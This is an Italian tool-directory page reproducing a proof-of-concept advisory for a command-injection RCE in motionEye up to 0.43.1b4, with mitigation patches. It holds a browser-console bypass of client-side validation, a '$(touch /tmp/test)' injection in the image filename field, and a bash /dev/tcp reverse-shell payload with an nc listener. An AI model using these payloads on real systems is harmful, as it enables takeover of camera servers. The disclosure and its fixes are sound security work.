Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
motionEye-RCE-through-config-parameter — Passaggi PoC per questa vulnerabilità | Kitploit
Strumenti/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

Passaggi PoC per questa vulnerabilità

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
2110 mesi faNon ancora revisionato

MotionEye RCE tramite bypass della validazione lato client

Riepilogo

Durante i test di sicurezza su un'istanza di MotionEye in esecuzione in Docker, è stato osservato che la validazione lato client nell'interfaccia web può essere aggirata. Ciò consente l'invio di input arbitrari, inclusi payload che possono innescare l'esecuzione di comandi sul container host. Il problema rappresenta un rischio di esecuzione remota di codice (RCE) se sfruttato.

Versioni interessate: Tutte le versioni fino alla 0.43.1b4 inclusa
Stato della patch: Nessuna patch ancora disponibile. In questo avviso viene fornita una soluzione alternativa.
Riferimento del progetto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Ambiente

  • Target: MotionEye in esecuzione in Docker
  • Immagine: ghcr.io/motioneye-project/motioneye:edge
  • Porta esposta: 9999 mappata sulla porta 8765 del container
  • Credenziali di test: admin / password vuota (predefinita)

Passaggi per riprodurre

1. Configurazione del container

Eseguire il seguente comando per avviare il download dell'immagine Docker e avviare il container

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Verifica della versione

root@kitploit:~
docker logs motioneye | grep "motionEye server"

Risultato: Server MotionEye 0.43.1b4 image

3. Accesso al filesystem

Una volta avviato il container Docker, è possibile accedere alla shell del container utilizzando i seguenti comandi

root@kitploit:~
docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Accesso iniziale

Accedere all'interfaccia web all'indirizzo:
http://127.0.0.1:9999
Login: admin (password vuota)

5. Configurazione della telecamera

È stata aggiunta una telecamera di rete RTSP di esempio.
image

6. Tentativo di iniezione

Nel campo "Immagini fisse" > "Nome file immagine" è stato inserito un comando di esecuzione dannosa, ma è stato riscontrato un errore di validazione lato client.

root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Bloccato dalla validazione lato client.
image

image

7. Scoperta della validazione lato client

Il seguente script è responsabile della validazione: /static/js/main.js?v=0.43.1b4, che fa riferimento a /static/js/ui.js?v=0.43.1b4 per implementare le condizioni di validazione.

File: /static/js/main.js?v=0.43.1b4 che fa riferimento a /static/js/ui.js?v=0.43.1b4

root@kitploit:~
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Tecnica di bypass

Sovrascrivendo la funzione configUiValid nella console del browser, tutti i controlli di validazione possono essere aggirati: inserire il seguente snippet nella console del browser (F12 o Ctrl+Shift+I)

root@kitploit:~
configUiValid = function() { 
    return true; 
};
image

9. Esecuzione del payload

Ora è possibile inserire direttamente il payload senza alcuna validazione: impostare come segue e applicare le impostazioni

Impostazioni:

  • Modalità acquisizione = Snapshot a intervalli
  • Intervallo = 10
  • Nome file immagine:
root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Applicato → File creato con permessi di root.

image

Impatto: armare l'RCE

Produzione di una semplice reverse shell:

Ascoltatore:

root@kitploit:~
nc -lvnp 4444
image

Payload iniettato:

root@kitploit:~
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Risultato: ottenuta una shell remota.


Causa principale e flusso

MotionEye è vulnerabile perché prende l'input dell'utente dal pannello web e lo scrive direttamente nei file di configurazione di Motion senza controllare la presenza di caratteri pericolosi. Ad esempio, il campo image_file_name nell'interfaccia viene inviato al backend (config.py) e salvato in /etc/motioneye/camera-.conf. Quando MotionEye riavvia il servizio Motion (motionctl.start), il processo Motion legge questo file di configurazione. Se il campo picture_filename contiene sintassi di shell come $(touch /tmp/test), Motion lo eseguirà come un vero comando invece di trattarlo come parte del nome file.

Input non sanitizzato scritto nei file di configurazione di Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion interpreta picture_filename → esegue il payload


Prevenzione

Correzione con sanitizzazione

File: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

root@kitploit:~
def sanitize_filename(value):
    # consentire solo lettere, numeri, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # fallback sicuro
    return value
image

Applicare la sanitizzazione:

root@kitploit:~
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

prima: image dopo: image


Risoluzione alternativa

Passaggio 1: Eseguire Docker

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

Passaggio 2: Accedere al container

root@kitploit:~
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py

Passaggio 3: Modificare la configurazione

Originale:

root@kitploit:~
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]

Sostituire con:

root@kitploit:~
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
image

Passaggio 4: Riavviare

root@kitploit:~
docker restart motioneye
image

Patch alternativa

All'interno di motion_camera_ui_to_dict(...):

Originale:

root@kitploit:~
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']

Sostituire con:

root@kitploit:~
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')

Scarica lo strumento